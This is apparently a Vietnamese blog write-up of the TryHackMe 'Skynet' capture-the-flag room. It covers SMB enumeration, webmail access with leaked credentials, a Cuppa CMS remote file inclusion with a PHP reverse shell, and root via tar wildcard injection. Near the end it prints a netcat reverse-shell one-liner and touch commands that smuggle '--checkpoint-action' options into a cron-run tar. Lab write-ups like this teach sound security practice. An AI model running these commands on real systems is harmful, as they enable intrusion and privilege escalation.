Một chút Writeup về Skynet

Trong bài viết này, mình sẽ writeup về thử thách Skynet trong Tryhackme.

Một chút Writeup về Skynet

Tóm tắt Writeup

  • Quét các cổng bằng nmap
  • Sử dụng GoBuster để liệt kê các thư mục
  • Thử nghiệm với SMBMap để tìm Samba
  • Sử dụng thông tin đăng nhập kiếm được để đọc email
  • Khai thác lỗ hổng CMS RFI
  • Khai thác các ký tự đại diện tar để leo thang đặc quyền

Một chút Writeup về Skynet

Đầu tiên chúng ta hãy bắt đầu bằng cách liệt kê càng nhiều port càng tốt, bằng cách sử dụng nmap.

Một chút Writeup về Skynet 14

Mình thấy có một máy chủ web đang chạy, khi truy cập thì ra một trang web như thế này:

Một chút Writeup về Skynet 15

Tiếp theo, mình sẽ sử dụng GoBuster để định vị bất kỳ thư mục nào tìm được.

 

Một chút Writeup về Skynet 16
gobuster -u http:// -w -t 40

Đôi khi, chúng ta tự tin rằng có thứ gì đó sẽ được tìm thấy nhưng lại lãng phí quá nhiều thời gian cho nó. Thông thường, các thử thách như thế này sẽ bố trí những lỗ thỏ khiến bạn khó chịu. Bạn chỉ cần nghỉ giải lao một chút nếu gặp khó khăn và thử các cách tiếp cận khác nhau là ổn nhé, mặc dù hơi tốn thời gian.

Quay lại chủ đề, chúng ta thấy rằng các cổng pop3 và imap đã mở, bạn không biết có thể tìm thấy gì nữa không? Bình tĩnh chút nào, nhớ những gì mình đã viết ở trên trước chứ.

SMBMap cho phép người dùng liệt kê các ổ đĩ được chia sẻ bằng samba trên toàn bộ domain. Chương trình này có sẵn trên tất cả các máy Kali Linux. Nếu bạn không có thời gian hoặc tài nguyên để thiết lập máy Kali Linux của riêng mình, thì bạn có thể sử dụng Kali Linux trong trình duyệt tại đây.

Một chút Writeup về Skynet 17

Quá trình quét cho thấy một chia sẻ được gọi là “anonymous” có quyền đọc. Cùng kiểm tra xem nó có gì nào.

Một chút Writeup về Skynet 18

Log1.txt chứa các mật khẩu và có một chia sẻ nhỏ gọi là miledyson. Chúng ta có một số thông tin đăng nhập tiềm năng ở đây … Nhưng SSH đã bị vô hiệu hóa, chịu rồi.

Nhưng, cánh cửa này đóng lại sẽ có cánh cửa khác mở ra. Một bản quét GoBuster trước đó đã tìm được SquirrelMail.

Một chút Writeup về Skynet 19

Sử dụn tài khoản mật khẩu trên và đọc email cho thấy có một thiết lập lại mật khẩu Samba.

Một chút Writeup về Skynet 20

Tiếp theo đăng nhập vào ổ đĩa chia sẻ của Miles và xem chúng ta tìm được gì nào. Bạn sẽ thấy một tệp cung cấp cho bạn thông tin về CMS mới.

Một chút Writeup về Skynet 21

Truy cập CMS sẽ thấy trang Miles Dysons Personal :v.

Một chút Writeup về Skynet 22

Nếu bạn sử dụng GoBuster trên thư mục /45kra24zxs28v3yd/, bạn sẽ thông tin trang /administrator. Tada, chúng ta tìm được Cuppa CMS.

Một chút Writeup về Skynet 23

Nhìn vào mã nguồn sẽ cho bạn dấu hiệu về phiên bản của CMS. Sau một vài lần search google, thì mình tìm thấy cách khai thác công khai nó: https://www.exploit-db.com/exploits/25971

Lấy một tập lệnh shell và thay đổi IP thành IP tun0 của bạn (ifconfig), lưu trữ cục bộ bằng Python, sử dụng netcat để lắng nghe session và sau đó đưa shell này lên máy chủ web.

Ảnh bên dưới sẽ giải thích các bước chính xác để có được shell đặc quyền thấp bằng cách khai thác lỗ hổng RFI! Bạn có thể tải reverse shell PHP từ PentestMonkey.

Một chút Writeup về Skynet 24

Trong code CMS, có một đoạn code PHP bao gồm tệp (File include):

&lt

Tuy nhiên, điều này cũng cho phép ta bao gồm các shell của riêng mình (hoặc thậm chí bao gồm một tệp trên hệ thống như /etc/passwd). Để có giải thích chi tiết hơn, bạn vui lòng đọc tài liệu này.

Bây giờ chúng ta đã có shell, vậy nên có thể lấy user flag. Bước tiếp theo là nâng cấp đặc quyền của chúng ta để root.

Khi liệt kê máy Linux, mình thấy có một số cronjob đang chạy.

Một chút Writeup về Skynet 25

Vì vậy, tệp /home/milesdyson/backups/backup.sh đang được gọi mỗi phút. Kiểm tra tệp này chút nào:

Một chút Writeup về Skynet 26

Lại thêm một shell nữa, truy cập đến thư mục /var/www/html và tạo một bản sao lưu của mọi thứ trong thư mục.

Dù bạn tin hay không thì điều này sẽ tạo ra một lỗ hổng vì chúng ta có thể sử dụng nó để thực thi code. HelpNetSecurity giải thích rõ nhất cách thức hoạt động của lỗ hổng này, nhưng về bản chất, tar có các ký tự đại diện và chúng ta có thể sử dụng điều này  để thực hiện các lệnh.
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your ip>
1234 >/tmp/f" > shell.sh
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
touch "/var/www/html/--checkpoint=1"

Sau đó, mở netcat và bạn sẽ nhận được một shell dưới dạng root.

Một chút Writeup về Skynet 27

Bạn cũng có thể đọc thêm cách giải bài Shodan trên Tryhackme tại đây.

Previous Post Next Post